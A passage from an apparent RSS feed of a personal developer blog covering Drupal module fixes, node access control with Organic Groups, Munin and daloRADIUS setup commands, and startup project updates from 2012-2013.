&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;yum install munin-node perl-libwww-perl&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On that machine you will then need to enable the plugins you wish to use to monitor services. This can be done by symlinking them to say&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    /etc/munin/plugins&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    and making sure they are set executable so that munin can run them. It comes with a hefty set of plugins by default, located probably at&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    /usr/share/munin/plugins&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    and you may need to tune plugins configuration using the main munin configuration file for the node at&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    etc/munin/munin-node.conf&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</content:encoded></item><item><title>Drupal&apos;s 7 Radioactivity patch gets commited</title><link>https://lirantal.com/blog/2013-02-07/</link><guid>https://lirantal.com/blog/2013-02-07/</guid><description>Sending a commit to fix issues with Drupal module</description><pubDate>Thu, 07 Feb 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A few months back I gave the  &lt;a href=&quot;http://drupal.org/project/commons&quot;&gt;Drupal Commons 3 beta&lt;/a&gt; version a run to get a close look at an updated version of  &lt;a href=&quot;http://enginx.com/blog/drupals-7-radioactivity-patch-gets-commited/acquia.com&quot;&gt;Acquia&lt;/a&gt;‘s enterprise social collaboration platform.&lt;br&gt;
There’s much work to be done still but overall it feels a bit more solid than the bloated Drupal 6 based Commons stack&lt;/p&gt;
&lt;p&gt;It’s good to remember that beta testing isn’t only about you, but also about giving back feedback on the overall product, or possibly a bug fix if you’re up for the task, so I filed this  &lt;a href=&quot;http://drupal.org/node/1816252&quot;&gt;bug+patch&lt;/a&gt; a while ago but it finally got  &lt;a href=&quot;http://drupalcode.org/project/radioactivity.git/commit/aee21db&quot;&gt;committed&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title>Drupal and how to disable notifications for programmatic node updates</title><link>https://lirantal.com/blog/2013-02-05/</link><guid>https://lirantal.com/blog/2013-02-05/</guid><description>Programatically working updates on Drupal nodes with node_save() hook</description><pubDate>Tue, 05 Feb 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;More than often, we  &lt;a href=&quot;http://enginx.com/blog/disabling-notifications-programmatic-node-updates/drupal.org&quot;&gt;Drupal&lt;/a&gt; developers find ourselves doing programmatic node modifications via the&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;node_save()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;function. If you’re doing that as well as have  &lt;a href=&quot;http://drupal.org/project/messaging&quot;&gt;messaging&lt;/a&gt; and  &lt;a href=&quot;http://drupal.org/project/notifications&quot;&gt;notifications&lt;/a&gt; modules enabled in your site then given the case that your users have subscribed to content-type updates and you’re doing these ‘behind the scenes’&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;node_save()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;stuff then you’re effectively spamming them with email updates each time you run that function.&lt;/p&gt;
&lt;p&gt;To mitigate this issue, when saving a node programmatically you can set an attribute for the notifications module to understand that it needs not to send updates for this operation. It’s a quick and easy one:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;function probably_your_hook(&amp;#x26;$node) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; // ... code ... &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; // Disable announcements for this operation&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; $node-&gt;notifications_content_disable = 1;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; node_save($node);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; // ... code ... &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</content:encoded></item><item><title>Drupal 7 Rules book which I worked on has been published recently</title><link>https://lirantal.com/blog/2013-01-31/</link><guid>https://lirantal.com/blog/2013-01-31/</guid><description>Reviewing a new Drupal 7 book with Packt Publishing</description><pubDate>Thu, 31 Jan 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In the past year I’ve been working on a Drupal 7 Rules book as a technical reviewer, which got published recently by Packt Publishing.&lt;/p&gt;
&lt;p&gt;“Drupal Rules How-to” is a practical, hands-on guide that provides you with a number of clear step-by-step exercises, which will help you take advantage of the real power of the Rules framework, and understand how to use it on a site builder and developer level.&lt;/p&gt;
&lt;p&gt;See here:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://groups.drupal.org/node/277563&quot;&gt;https://groups.drupal.org/node/277563&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.drupal.org/node/2117507&quot;&gt;https://www.drupal.org/node/2117507&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://www.drupal.org/files/book_covers/9984OS_Drupal%20Rules%20%5BHow-to%5D_Micro_cov.jpg&quot; alt=&quot;Drupal Rules How-To&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>daloRADIUS VM update – missing php-mail-mime extension</title><link>https://lirantal.com/blog/2013-01-12/</link><guid>https://lirantal.com/blog/2013-01-12/</guid><description>Fixing PHP blank page on daloRADIUS</description><pubDate>Sat, 12 Jan 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Following a ticket on daloRADIUS’s SF page regarding a &lt;code&gt;blank page&lt;/code&gt; when creating a user/notification it lead me to investigate the issue. It seems that the VM is missing the php-mail-mime package. To mitigate this run:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;apt-get install php-mail-mime&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</content:encoded></item><item><title>Kupoya</title><link>https://lirantal.com/blog/2013-01-01/</link><guid>https://lirantal.com/blog/2013-01-01/</guid><description>An update on founding Kupoya and entrepreneurship</description><pubDate>Tue, 01 Jan 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;http://www.kupoya.com/&quot;&gt;Kupoya&lt;/a&gt; developed a platform that leverages rapidly growing mobile devices adoption, and the wide-spread of social networks to enable digital media agencies to attract for their brands genuine and measurable social coverage across networks like &lt;a href=&quot;http://www.facebook.com/&quot;&gt;Facebook&lt;/a&gt;, &lt;a href=&quot;http://plus.google.com/&quot;&gt;Google+&lt;/a&gt; and &lt;a href=&quot;http://www.linkedin.com/&quot;&gt;LinkedIN&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;With this intellectual property  &lt;a href=&quot;http://en.actu-cci.com/technologies-innovations/12920-kupoya-when-social-life-means-business&quot;&gt;acquisition&lt;/a&gt;, Kupoya’s technology will aid &lt;a href=&quot;http://www.actu-cci.com/&quot;&gt;Commerce International&lt;/a&gt; in strengthening their market position with&lt;br&gt;
regards to digital media and allow them to grow a new vertical in the industry of online ad management and marketing.&lt;/p&gt;
&lt;h3 id=&quot;the-platform&quot;&gt;The Platform&lt;/h3&gt;
&lt;p&gt;I have founded kupoya, &lt;a href=&quot;http://www.kupoya.com/aboutus/the-team/&quot;&gt;partnered up with fellow colleagues&lt;/a&gt; and life-long friends to build the  &lt;a href=&quot;http://www.kupoya.com/why-kupoya/&quot;&gt;next generation&lt;/a&gt; marketing startup for viral adoption in the world of coupons. In kupoya I’ve been  &lt;a href=&quot;http://www.kupoya.com/for-business-3/&quot;&gt;the technology mastermind&lt;/a&gt;  and after building our team for the first 8 months I’ve assumed the official title of Chief Technology Officer (CTO) to further lead the vision we had.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/wp-content/uploads/2014/06/kupoya-platform11.png&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140625180945im_/http://enginx.com/wp-content/uploads/2014/06/kupoya-platform11-300x240.png&quot; alt=&quot;kupoya-platform11&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>Melumadim</title><link>https://lirantal.com/blog/2013-01-01_-_melumadim/</link><guid>https://lirantal.com/blog/2013-01-01_-_melumadim/</guid><description>An update on Melumadim - Israel&apos;s academic social networking platform</description><pubDate>Tue, 01 Jan 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;http://www.melumadim.co.il/&quot;&gt;&lt;strong&gt;Melumadim&lt;/strong&gt;&lt;/a&gt; is a collaborative social networking platform for students in Israel which leverages academic institutes courses to provide a dedicated space for discussions, course material exchange, real-time video and voice conference rooms and more.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/wp-content/uploads/2014/05/melumadim.png&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140625162153im_/http://enginx.com/wp-content/uploads/2014/05/melumadim.png&quot; alt=&quot;melumadim&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>About daloRADIUS - January 2013 update</title><link>https://lirantal.com/blog/2013-01-01_-_daloradius/</link><guid>https://lirantal.com/blog/2013-01-01_-_daloradius/</guid><description>Get your WiFi the Hotspots it deserves!</description><pubDate>Tue, 01 Jan 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;http://enginx.com/wp-content/uploads/2014/05/daloradius1.jpg&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140625163922im_/http://enginx.com/wp-content/uploads/2014/05/daloradius1.jpg&quot; alt=&quot;daloradius1&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://www.daloradius.com/&quot;&gt;daloRADIUS&lt;/a&gt; is an advanced &lt;a href=&quot;http://freeradius.org/&quot;&gt;RADIUS&lt;/a&gt; web platform aimed at managing Hotspots and general-purpose ISP deployments. It features rich user management, graphical reporting, accounting, and integrates with GoogleMaps for geo-locating (GIS). daloRADIUS is written in PHP and JavaScript and utilizes a database abstraction layer for working with MySQL-based database backends.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.amazon.com/daloRADIUS-User-Guide-Volume-1/dp/1463752199/&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140625163922im_/http://enginx.com/wp-content/uploads/2014/05/daloradius_amazon_book_cover_1-228x300.jpg&quot; alt=&quot;daloradius_amazon_book_cover_1&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;daloradius-user-guide&quot;&gt;&lt;a href=&quot;http://www.amazon.com/daloRADIUS-User-Guide-Volume-1/dp/1463752199/&quot;&gt;daloRADIUS User Guide&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;serves as an official user guide in a paperback hard-copy version.&lt;br&gt;
Complete Administrator’s User Guide to daloRADIUS Platform. daloRADIUS is an advanced RADIUS web platform aimed at managing hotspots and general-purpose ISP deployments. It features user management, graphical reporting, accounting, and integration with GoogleMaps for geo-locating. daloRADIUS integrates with FreeRADIUS’s database to provide centralized management and control for RADIUS deployments. Those who would find daloRADIUS to be of use are most notably RADIUS operators and administrators, network and systems administrators, integration engineers and NOC departments. Companies or individuals running hotspot captive portals or remote access technologies such as VPNs are likely to find daloRADIUS a great fit to manage their users database records&lt;/p&gt;
&lt;h2 id=&quot;daloradius-screenshots&quot;&gt;daloRADIUS Screenshots&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/daloradius/attachment/accounting1_2/&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140625163922im_/http://enginx.com/wp-content/uploads/2014/05/accounting1_2-150x150.png&quot; alt=&quot;daloRADIUS - IP Accounting&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;daloRADIUS – IP Accounting&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/daloradius/attachment/177154/&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140625163922im_/http://enginx.com/wp-content/uploads/2014/05/177154-150x150.jpg&quot; alt=&quot;daloRAIDUS - Adding New User&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;daloRAIDUS – Adding New User&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/daloradius/attachment/177150/&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140625163922im_/http://enginx.com/wp-content/uploads/2014/05/177150-150x150.jpg&quot; alt=&quot;daloRADIUS - Editing a User&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;daloRADIUS – Editing a User&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/daloradius/attachment/177156/&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140625163922im_/http://enginx.com/wp-content/uploads/2014/05/177156-150x150.jpg&quot; alt=&quot;daloRADIUS - Graphs feature&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;daloRADIUS – Graphs feature&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/?attachment_id=267&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140625163922im_/http://enginx.com/wp-content/uploads/2014/05/daloradius-150x150.png&quot; alt=&quot;daloRADIUS - New User&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;daloRADIUS – New User&lt;/p&gt;
&lt;h2 id=&quot;daloradius-at-sourceforge&quot;&gt;daloRADIUS at SourceForge&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://www.daloradius.com/&quot;&gt;daloRADIUS&lt;/a&gt; is hosted at &lt;a href=&quot;https://sourceforge.net/projects/daloradius/&quot;&gt;SourceForge&lt;/a&gt; for any ticketing, issues, feature requests, and overall source code. Packages available are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;daloRADIUS 0.9-9 – Latest official daloRADIUS release: &lt;a href=&quot;https://sourceforge.net/projects/daloradius/files/daloradius/daloradius0.9-9/&quot;&gt;https://sourceforge.net/projects/daloradius/files/daloradius/daloradius0.9-9/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;daloRADIUS Virtual Machine – Providing a pre-configured and pre-installed daloRADIUS, FreeRADIUS, MySQL and a bunch of other tools in a Virtual Appliance that can be used for demos and testing purposes, as well as provisioned as a production machine for rapid hotspot deployment. Available here: &lt;a href=&quot;https://sourceforge.net/projects/daloradius/files/daloradius/daloRADIUS%20VM/&quot;&gt;https://sourceforge.net/projects/daloradius/files/daloradius/daloRADIUS%20VM/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Attachment Links module for Drupal fixes for in-browser downloads</title><link>https://lirantal.com/blog/2012-12-19/</link><guid>https://lirantal.com/blog/2012-12-19/</guid><description>The Attachment Links module provides permanent links to files attached to a node. A single, easy-to-remember URL can be used to retrieve the preferred (canonical) or newest version of a file regardless of how many versions of that file have been attached to a node.</description><pubDate>Wed, 19 Dec 2012 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If to quote the attachment links project on Drupal: &lt;code&gt;The Attachment Links module provides permanent links to files attached to a node. A single, easy-to-remember URL can be used to retrieve the preferred (canonical) or newest version of a file regardless of how many versions of that file have been attached to a node&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Incase the light-bulb didn’t turn on yet for you – with Drupal, if you upload a file attachment then if it doesn’t exist yet it will be saved as .tar.gz. If the user then updates that node with a new file upload of the same name, the filename will change to _1.tar.gz and so on since Drupal will transliterate and correct the filename to make sure such file doesn’t exist yet in it’s files directory.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;Attachment Links&lt;/code&gt; module mitigates this problem by allowing you to specify a link like &lt;code&gt;node/2600/attachment&lt;/code&gt; and by doing that it’s controller will already pull the correct file attachment for this node and send it over the wire. This enables you to give permanent links (in the form of &lt;code&gt;http://example.com/node/2600/attachment&lt;/code&gt;) because otherwise the exact file system link will always change when you update the file entry.&lt;/p&gt;
&lt;p&gt;So far that was a somewhat short introduction to the use-case for &lt;code&gt;Attachment Links&lt;/code&gt; module.&lt;/p&gt;
&lt;p&gt;As with most modules, they don’t always scratch your exact itch (@see &lt;a href=&quot;http://en.wikipedia.org/wiki/The_Cathedral_and_the_Bazaar&quot;&gt;http://en.wikipedia.org/wiki/The_Cathedral_and_the_Bazaar&lt;/a&gt; guideline number 1), and so for us we had the issue that attachments do no retain their original &lt;code&gt;Content-Type&lt;/code&gt; header. Meaning, every file will be forced to download so that if &lt;code&gt;node/2600/attachment&lt;/code&gt; is actually sending over a &lt;code&gt;readme.txt&lt;/code&gt; file, instead of that file to open up in the browser (which was the required case for us) it got downloaded. Same for images, PDFs, etc.&lt;/p&gt;
&lt;p&gt;We found it a bit annoying so worked on a fix to maintain this original behavior while still working with this module. For your enjoyment: &lt;a href=&quot;http://drupal.org/node/1856422&quot;&gt;http://drupal.org/node/1856422&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>Implementing user-specific, role-based access control per node type, per group. (Part 3)</title><link>https://lirantal.com/blog/2012-11-26/</link><guid>https://lirantal.com/blog/2012-11-26/</guid><description>Understanding Drupal&apos;s node access system and how to hook into it to implement</description><pubDate>Mon, 26 Nov 2012 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;practical-node-access-system-with-organic-groups&quot;&gt;Practical node access system with Organic Groups&lt;/h2&gt;
&lt;p&gt;OG approached the node access system in a way which only requires the user to be a member of a community in order to see all of it’s nodes, whatever types they are.&lt;/p&gt;
&lt;p&gt;Therefore, og_access module defines an  &lt;code&gt;og_subscriber&lt;/code&gt;  realm and sets the grant id to always be the group id. So for example, in the  &lt;code&gt;node_access&lt;/code&gt;  table we have a record for node id 10 (some story/page node content type) and it’s &lt;code&gt;gid&lt;/code&gt; (&lt;code&gt;grant_id&lt;/code&gt;, remember?) set to group id 50 (this is showing up in the right side of the illustration).&lt;/p&gt;
&lt;h3 id=&quot;the-node-access-resolution-scales&quot;&gt;The node access resolution scales&lt;/h3&gt;
&lt;p&gt;Next, what happens when the user actually attempts to view this node id 10?&lt;br&gt;
OG also implements a hook_user() upon which when the user object is loaded it adds to it an array of all of the user’s group memberships. So when the node access process happens (i.e: in &lt;code&gt;node_load()&lt;/code&gt;) OG’s &lt;code&gt;hook_node_grants()&lt;/code&gt; looks at the user object for it’s list of groups and builds an array of grants from it (this is illustrated in the left side)&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/wp-content/uploads/2013/08/blog_-_implementing_user-specific_role-based_access_control_per_node_type_per_group._1.png&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140703105517im_/http://enginx.com/wp-content/uploads/2013/08/blog_-_implementing_user-specific_role-based_access_control_per_node_type_per_group._1-300x196.png&quot; alt=&quot;blog_-_implementing_user-specific_role-based_access_control_per_node_type_per_group._1&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Drupal then builds those returned grants from OG’s  &lt;code&gt;og_access&lt;/code&gt;  module and turn it into a WHERE clause query. In the example above, the user will be denied access since the returned grant ids are 5 and 10. Meaning the user is a member of group ids 5 and 10, while node id 10 (or even node id 11, added just for example purposes) is associated with group id 50, which the user is not a member of.&lt;/p&gt;</content:encoded></item><item><title>Implementing user-specific, role-based access control per node type, per group. (Part 4)</title><link>https://lirantal.com/blog/2012-12-04/</link><guid>https://lirantal.com/blog/2012-12-04/</guid><description>Understanding Drupal&apos;s node access system and how to hook into it to implement</description><pubDate>Mon, 26 Nov 2012 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;implementing-role-based-node-access-control-in-groups&quot;&gt;Implementing role-based node access control in groups.&lt;/h2&gt;
&lt;h3 id=&quot;overview&quot;&gt;Overview&lt;/h3&gt;
&lt;p&gt;As mentioned earlier, Drupal is pretty permissive by default and don’t offer a &lt;code&gt;view page&lt;/code&gt; kind of permission for page content type. Moreover, it’s attempt to call other modules to control access to the content type is limited only to the module that created this node so this is not really helpful.&lt;/p&gt;
&lt;p&gt;Now consider an example use case – each member of a community should be granted a different role, where-as the roles are given to users per groups. This means that users will not be granted roles site-wide from the user/roles administration page. Rather, each group’s admin will be able to list users and give them some role, resulting in a scenario where users will have different roles in different groups.&lt;/p&gt;
&lt;p&gt;To meet this example use case, which is out of the scope of default Drupal or OG behavior, there’s OG Users Roles module. Without diving into the internals of it, the way that it works is by detecting the group context and then altering the global user object’s roles attribute with those that are set for the user in the current group.&lt;/p&gt;
&lt;h3 id=&quot;use-case-put-to-action&quot;&gt;Use case put to action&lt;/h3&gt;
&lt;p&gt;So far so good. OG Users Roles does the job and integrates with OG’s node access just fine.&lt;br&gt;
At this point, it doesn’t really matter what roles the user have inside a group, as long as the user is a member of the group he is able to view all of the groups’ created content.&lt;/p&gt;
&lt;p&gt;Let’s take this further – what if we wanted to control the view permission of each content type per role? Imagine the ability to define which roles are able to see (access) which content type. This is now getting interesting, it brings in a more fine-grained access control that provides the site admin to selectively choose which roles may access certain content types, resulting in a use case where even if 2 users are members of the same groups, having different roles each of them, allow them to access content types which the other user can’t.&lt;/p&gt;
&lt;h3 id=&quot;how-to-approach-this&quot;&gt;How to approach this?&lt;/h3&gt;
&lt;p&gt;Remember the node access scales illustration?&lt;/p&gt;
&lt;p&gt;The concept to attach such use case is to compose a grants response with all of the user’s roles across all of the groups he is a member of (the left side of the scales), and compare that against the node_access table which now holds not only the group id, but rather the group id and the role that is allowed to access this node (the right side of the scales).&lt;br&gt;
an array of grants from it (this is illustrated in the left side)&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/wp-content/uploads/2013/08/blog_-_implementing_user-specific_role-based_access_control_per_node_type_per_group._2.png&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140703104548im_/http://enginx.com/wp-content/uploads/2013/08/blog_-_implementing_user-specific_role-based_access_control_per_node_type_per_group._2-300x207.png&quot; alt=&quot;blog_-_implementing_user-specific_role-based_access_control_per_node_type_per_group._2&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Looks like a straight-forward approach, except for a little tiny detail – the gid field in the node_access table is an int, not a char, so we can’t actually use the string format of a 50_2 to represent &lt;code&gt;&amp;#x3C;group_nid&gt;_&amp;#x3C;role_id&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Relying on just saving plain numbers for &lt;code&gt;group_nid&lt;/code&gt; and &lt;code&gt;role_id&lt;/code&gt;, such as 502 doesn’t make much sense either. Think of an entry like 512 =&gt; does it represent group id 5 and role id 12 or group id 51 and role id 2?&lt;/p&gt;
&lt;h3 id=&quot;further-down-the-rabbit-hole&quot;&gt;Further down the rabbit hole&lt;/h3&gt;
&lt;p&gt;One way to deal with this is to brutally change the gid field from integer to say &lt;code&gt;char(32)&lt;/code&gt; but then you have to patch a few more places (a views handler and node.module) to properly use this field type (i.e: saving records as string and not integer).&lt;/p&gt;
&lt;p&gt;It’s a very small patch to apply and I’ve tested with this configuration and a node_access table of roughly 65K size against a user grants response of 300 &lt;code&gt;group_nid&lt;/code&gt;/&lt;code&gt;role_id&lt;/code&gt; options and around these numbers I didn’t find any performance hit. (of course if you do this, don’t forget to rebuild the indexes on &lt;code&gt;node_access&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;Back to our story. To deal with this we’re looking for a hashing function where we can encode the ‘50_2’ string.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;MD5&lt;/code&gt; you say? nope. Too large for a 32bit integer.&lt;br&gt;
Remember this old one called &lt;code&gt;CRC32&lt;/code&gt; ? Yep, that’s the one that you used back in the day and now it’s coming back for the rescue. It’s right in size and faster than the alternatives: &lt;code&gt;MD5&lt;/code&gt;, &lt;code&gt;SHA1/2&lt;/code&gt; etc.&lt;/p&gt;
&lt;p&gt;To implement &lt;code&gt;crc32&lt;/code&gt;, return the grants from your module already encoded as crc32 as well as define node grant records where the gid field is encoding the &lt;code&gt;&amp;#x3C;group_nid&gt;_&amp;#x3C;role_id&gt;&lt;/code&gt;.&lt;/p&gt;</content:encoded></item><item><title>Implementing user-specific, role-based access control per node type, per group. (Part 2)</title><link>https://lirantal.com/blog/2012-11-19/</link><guid>https://lirantal.com/blog/2012-11-19/</guid><description>Understanding Drupal&apos;s node access system and how to hook into it to implement</description><pubDate>Mon, 19 Nov 2012 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;more-in-depth-node-access-system-overview&quot;&gt;More in-depth node access system overview&lt;/h2&gt;
&lt;p&gt;So what is that node access system?&lt;br&gt;
The involved components are a few hooks that modules define if they want to hook into the way the node access system work; Furthermore, there’s the  &lt;code&gt;node_access&lt;/code&gt;  table in the database which maintains all of the grants for each node in the system.&lt;/p&gt;
&lt;h3 id=&quot;the-node_access-table&quot;&gt;The node_access table&lt;/h3&gt;
&lt;p&gt;This table is joined against queries and it’s holding all of the nodes in the system and their grants. The table is updated with every node that gets created or possibly it can be recreated at any point in time, which is useful if a new module that implements a different access control is installed. The table’s structure:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/wp-content/uploads/2013/08/blog_-_implementing_user-specific_role-based_access_control_per_node_type_per_group._3.png&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140625155745im_/http://enginx.com/wp-content/uploads/2013/08/blog_-_implementing_user-specific_role-based_access_control_per_node_type_per_group._3.png&quot; alt=&quot;blog_-_implementing_user-specific_role-based_access_control_per_node_type_per_group._3&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;nid&lt;/code&gt; - the node id, and there’s at least one record for each node that exists.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gid&lt;/code&gt; – the grant id. A grant id is something abstract. It can be anything upon which you may decide to grant access (within the constraints of the field type – it’s an unsigned int).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;realm&lt;/code&gt; – a name to identify this grant type.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;grant_view&lt;/code&gt;, &lt;code&gt;grant_update&lt;/code&gt;, &lt;code&gt;grant_delete&lt;/code&gt; – either 1 or 0, stating if that grant record allows view, update or delete permission.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;module-hooks&quot;&gt;Module hooks&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Modules define the grant records – modules which define &lt;code&gt;hook_node_access_records()&lt;/code&gt; get the current node being processed as an argument and decide what to set as the realm and grant id. This hook should return an array of grants which is basically composed of the fields in the node_access table. This process happens when the node access rebuild action fires or anytime a node is being created.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
